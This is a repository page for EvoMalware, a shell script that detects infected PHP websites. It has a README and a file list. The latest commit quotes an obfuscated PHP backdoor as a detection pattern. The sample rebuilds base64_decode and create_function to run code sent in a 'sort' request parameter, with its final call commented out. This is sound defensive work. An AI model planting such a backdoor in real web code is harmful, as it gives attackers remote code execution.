evolix
/
evomalware
21
1
Fork 0
Code Issues 11 Pull Requests Releases Wiki Activity
EvoMalware, shell script to detect infected websites.
54 Commits 1 Branch 0 Tags 189 KiB
Shell 93.2%
Makefile 6.8%
Go to file
Benoît S. 4c89a12f28 Add a new pattern 
if(isset($_REQUEST['sort'])){   ^M
        $string = $_REQUEST['sort'];^M
        $array_name = '';^M
        $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";^M
        $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7);^M
        foreach($ar as $t){^M
           $array_name .= $alphabet[$t];^M
        }^M
        $a = strrev("noi"."tcnuf"."_eta"."erc");^M
        $f = $a("", $array_name($string));^M
        // MALWARE $f();^M
        exit();^M
}
 		2018-01-04 17:59:22 +01:00
Makefile Added suspect files. 2015-01-22 17:38:03 +01:00
README.md Fixed typographical error, changed aggresive to aggressive in README. 2015-12-11 17:48:15 +01:00
evomalware.filenames Added a SPAM mailer. 2015-08-17 11:22:11 +02:00
evomalware.filenames.md5 Added a SPAM mailer. 2015-08-17 11:22:11 +02:00
evomalware.patterns Add a new pattern 2018-01-04 17:59:22 +01:00
evomalware.patterns.md5 Add a new pattern 2018-01-04 17:59:22 +01:00
evomalware.sh Redirect stderr of wc to /dev/null due to vanished files. 2015-03-17 16:38:45 +01:00
evomalware.suspect Added suspect files. 2015-01-22 17:38:03 +01:00
evomalware.suspect.md5 Added suspect files. 2015-01-22 17:38:03 +01:00
evomalware.whitelist Update whitelist 2018-01-03 09:07:42 +01:00
evomalware.whitelist.md5 Update whitelist 2018-01-03 09:07:42 +01:00

README.md

Description

EvoMalware is a BASH script which permits to identify files (PHP only ATM) infected by malwares/virus/backdoor.
The main goal is to be used in a cron job to generate reports, but it can be used in "one shot" mode.

The script uses 3 flat text files as databases:

  • evomalware.filenames, known filenames.
  • evomalware.patterns, known patterns.
  • evomalware.whitelist, files to ignore.

There is also an "aggressive" mode which permits to find suspect files using evomalware.suspect DB.
At each run, the script downloads the last databases.

Configuration/Tuning

TODO

Upstream

Upstream is at https://forge.evolix.org/projects/evomalware
GitHub is a mirror.

Interesting others projects